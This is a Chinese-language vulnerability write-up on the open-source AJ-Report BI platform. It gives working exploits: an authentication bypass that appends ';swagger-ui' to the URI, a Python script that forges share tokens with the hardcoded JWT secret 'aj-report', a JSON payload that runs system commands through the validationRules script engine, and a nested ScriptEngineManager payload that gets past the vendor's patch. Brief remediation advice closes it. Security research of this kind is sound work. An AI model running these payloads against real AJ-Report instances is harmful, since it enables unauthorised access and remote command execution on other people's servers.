【漏洞复现】Aj-Report漏洞复现与分析

AJ-Report是一个java开发的开源BI平台,存在多个权限绕过、RCE等漏洞,简单分析一下

aj-report

项目地址:https://github.com/anji-plus/report

AJ-Report是全开源的一个BI平台,酷炫大屏展示,能随时随地掌控业务动态,让每个决策都有数据支撑。多数据源支持,内置mysql、elasticsearch、kudu驱动,支持自定义数据集省去数据接口开发,目前已支持30+种大屏组件/图表,不会开发,照着设计稿也可以制作大屏。三步轻松完成大屏设计:配置数据源---->写SQL配置数据集---->拖拽配置大屏---->保存发布。欢迎体验。

资产测绘

image-20240525171141373

权限绕过1

这个系统的接口绝大部分都需要登陆,需要绕一下

鉴权逻辑是作者自己写的filter:com.anjiplus.template.gaea.business.filter.TokenFilter#doFilter​,审计一下看是否可以绕过:

image

可以看到使用getRequestURI​获取uri(不经过任何处理,获取原始uri),然后会判断uri是否包含“swagger-ui​”,包含则放行,因此这里可以使用后端与Spring获取到uri的差异来绕过

payload:/dataSetParam;swagger-ui/verification​(spring会将uri中的;swagger-ui​处理清除)

权限绕过2

接着继续看com.anjiplus.template.gaea.business.filter.TokenFilter#doFilter​后面的逻辑

image

可以看到其获取了两个jwt-token,往里面翻,发现jwt是硬编码,因此可以直接伪造token

image

但是其后面还有个逻辑if (!cacheHelper.exist(tokenKey))​,如果token不在缓存里面就认为是过期的(默认缓存1h),所以这里不好利用

接着关注到shareToken​其中有个条件:if (!uri.endsWith("/reportDashboard/getData") && !uri.endsWith("/reportExcel/preview") && reportCodeList.stream().noneMatch(uri::contains))​,需要其为false才能绕过,因为是&&所以只要一个为false即可,直接看最后一个条件reportCodeList.stream().noneMatch(uri::contains)​也就是说uri​包含reportCode​的话就返回false​,而reportCode​是从shareToken​中获取的,如果可以伪造就好了

深入源码内部,发现shareToken​的jwt-secret也是硬编码的

image

因此就可以直接伪造了:

import jwt
from datetime import datetime
payload = {
        "shareCode": 1,
        "reportCode": "/", #通用性
        "exp": 4070880000,
        "iat": 1715402146,
        "sharePassword": 1
}
JWT_SECRET = "aj-report"
fakeShareToken = jwt.encode(payload,JWT_SECRET,algorithm='HS256')
print(fakeShareToken)
# eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzaGFyZUNvZGUiOjEsInJlcG9ydENvZGUiOiIvIiwiZXhwIjo0MDcwODgwMDAwLCJpYXQiOjE3MTU0MDIxNDYsInNoYXJlUGFzc3dvcmQiOjF9.XIvqj1iTJeGtIGjS_71raSpw3FTMgZNNQZsP5nZrnxY

image

validationRules 命令执行

漏洞原因: engine.eval(validationRules);validationRules​参数可控

出问题的接口:/dataSetParam/verification,这个接口需要鉴权

使用前面说的权限绕过方法1,访问到/dataSetParam/verification接口,传入恶意代码

image

{"sampleItem":"1","validationRules":"function verification(data){var se= new javax.script.ScriptEngineManager();var r = new java.lang.ProcessBuilder('id').start().getInputStream();result=new java.io.BufferedReader(new java.io.InputStreamReader(r));ss='';while((line = result.readLine()) != null){ss+=line};return ss;}"
}

跟进源码,可以发现后端直接执行了传入的表达式,因此可以RCE

image

private ScriptEngine engine;
    {
        ScriptEngineManager manager = new ScriptEngineManager();
        engine = manager.getEngineByName("JavaScript");
    }

为什么这里要传入verification函数呢,这里查看上面源代码就可以知道。执行完js​后会调用js​中的verification​函数,随后将执行结果返回,因此这是个可以回显的点

补丁绕过

https://github.com/anji-plus/report/commit/be4f7eb84a6143fa80432783505091c19c57f98b

image

可以看到作者改用了NashornScriptEngine​,同时设置了一个黑名单类进行过滤,但是这里过滤机制有缺陷,用套娃的方式可以绕过,在里面new​一个ScriptEngineManager​,然后再eval​就行

function verification(data){var se= new javax.script.ScriptEngineManager();var r = se.getEngineByExtension(\"js\").eval(\"new java.lang.ProcessBuilder('whoami').start().getInputStream();\");result=new java.io.BufferedReader(new java.io.InputStreamReader(r));ss='';while((line = result.readLine()) != null){ss+=line};return ss;}

image

修复

  • 使用 reqeust.getServletPath()​ 获取 URI
  • jwt-secret硬编码改成随机生成的密钥